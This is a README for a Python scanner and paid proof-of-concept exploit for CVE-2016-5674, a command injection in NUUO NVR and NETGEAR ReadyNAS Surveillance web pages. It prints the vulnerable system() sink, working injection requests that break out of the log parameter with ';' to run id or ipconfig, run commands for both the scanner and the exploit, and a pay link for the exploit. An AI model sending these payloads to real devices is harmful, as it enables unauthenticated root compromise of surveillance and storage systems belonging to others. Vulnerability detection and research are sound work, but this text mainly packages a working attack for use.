
Scanner and proof-of-concept exploit for CVE-2016-5674, an unauthenticated command injection RCE in NUUO NVR and NETGEAR ReadyNAS Surveillance web interfaces.
NUUO NVR camera
__debugging_center_utils___.php- Command Execution
| field | value |
|---|---|
| CVE | CVE-2016-5674 |
| severity | critical |
| CVSS | 9.8 (template CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; NVD 3.0 same base score, EPSS 0.9461 percentile 0.99855) |
| fixed in | firmware after 3.0.0 for NUUO NVRmini 2 / NVRsolo and after 1.4.1 for NETGEAR ReadyNAS Surveillance (NVD also lists 1.4.2; CERT/CC VU#856152 noted no coordinated fix at disclosure time) |
| class | command injection RCE (NVD/template cwe-id CWE-20), log parameter passed straight into the PHP system() call of the hidden __debugging_center_utils___.php page |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RYD
The web management interfaces of NUUO NVRmini 2 (1.7.5 through 3.0.0),
NUUO NVRsolo (1.7.5 through 3.0.0) and NETGEAR ReadyNAS Surveillance
(1.1.1 through 1.4.1, x86 and ARM) expose a hidden page
__debugging_center_utils___.php. Its log parameter is concatenated
into a shell command and handed to the PHP system() call without
sanitisation, so an unauthenticated remote attacker executes arbitrary
commands (as root on the NVRs) by breaking out of the cat argument
with ;. The template issues up to two GET requests on that page,
stop-at-first-match, and pairs the literal heading Debugging Center
with the id output (uid=... gid=...) or the ipconfig output
(Windows IP). NVD: published 2016-08-31, CERT/CC source
(VU#856152).
The vendor page boils down to one unsanitised sink (Pedro Ribeiro's triage of the firmware):
function print_file($file_fullpath_name) {
$cmd = "cat " . $file_fullpath_name;
echo $file_fullpath_name . "\n\n";
system($cmd);
}
$file_fullpath_name is $_GET['log'] verbatim, so ; terminates the
cat argument and the rest runs as a second command; the page itself
prints the Debugging Center heading first. The template mirrors this
with max-request: 2 and two paths (the second is only tried when the
first misses):
GET {BaseURL}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id
(Linux side, NVRmini 2 / NVRsolo), matched by status_code_1 == 200
and contains(body_1, 'Debugging Center') and
regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1).GET {BaseURL}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig
(Windows-flavoured ReadyNAS answer), matched by
status_code_2 == 200 and contains(body_2, 'Debugging Center')
and contains(body_2, 'Windows IP').{{rand}} is to_lower(rand_text_alpha(32)): 32 lowercase letters,
the echo of which proves the system() call really ran. The matchers
are two type: dsl groups under matchers-condition: or; the scanner
transcribes them verbatim, including the case-sensitive contains
semantics of the DSL. NVD lists the CPE set
cpe:2.3:a:netgear:readynas_surveillance 1.1.1, 1.1.2, 1.2.0.4,
1.3.2.4, 1.3.2.14, 1.4.0, 1.4.1, 1.4.2 plus
cpe:2.3:o:nuuo:nvrmini_2 and cpe:2.3:o:nuuo:nvrsolo up to 3.0.0.
max-request: 2), the second only
when the first matcher group misses (stop-at-first-match: true).GET /__debugging_center_utils___.php?log=;echo%20<RAND>%20|%20id
with a freshly generated 32-letter lowercase RAND; matcher =
status 200 and the literal Debugging Center and the regex
uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) on the body.log=;echo%20<RAND>%20|%20ipconfig;
matcher = status 200 and Debugging Center and Windows IP.check(url) returns (True, details) when either matcher group
holds; details keeps both statuses, per-matcher flag maps
(matcher_id, matcher_ipconfig), echo_seen (the generated
RAND present in the matched body), a 200-char snippet and the
extractor string debugging center rce: probe=<id|ipconfig|none> id_match=B ipconfig_match=B match=B.token is computed over the JSON result so a merely
reflected page is distinguishable from a real system() answer.urls.txt are auto-prefixed with http://.# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2016-5674/scanner.py urls.txt 8 CVE-2016-5674.csv --json CVE-2016-5674.json
# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2016-5674/exploit.py http://nvr-host --csv CVE-2016-5674.csv --json CVE-2016-5674.json --verbose
urls.txt is a plain file, one target per line, # for comments.
Lines may omit the scheme (192.168.1.10 works, http:// is
prepended). NVR devices usually answer on TCP 80.
RCE POC SUITE
scanner : CVE-2016-5674 v1.0.0
threads : 4 | csv: CVE-2016-5674.csv | json: CVE-2016-5674.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] http://127.0.0.1:8099 -> VULNERABLE
[..] json sidecar saved: CVE-2016-5674.json
[..] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[..] timing : avg=6ms max=6ms wall=0.01s
[..] report saved: CVE-2016-5674.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-match (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2016-5674/exploit.py - two-stage POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored (or no targets loaded) |
The POC returns 0 when its token verification passes and 2 on
verification failed.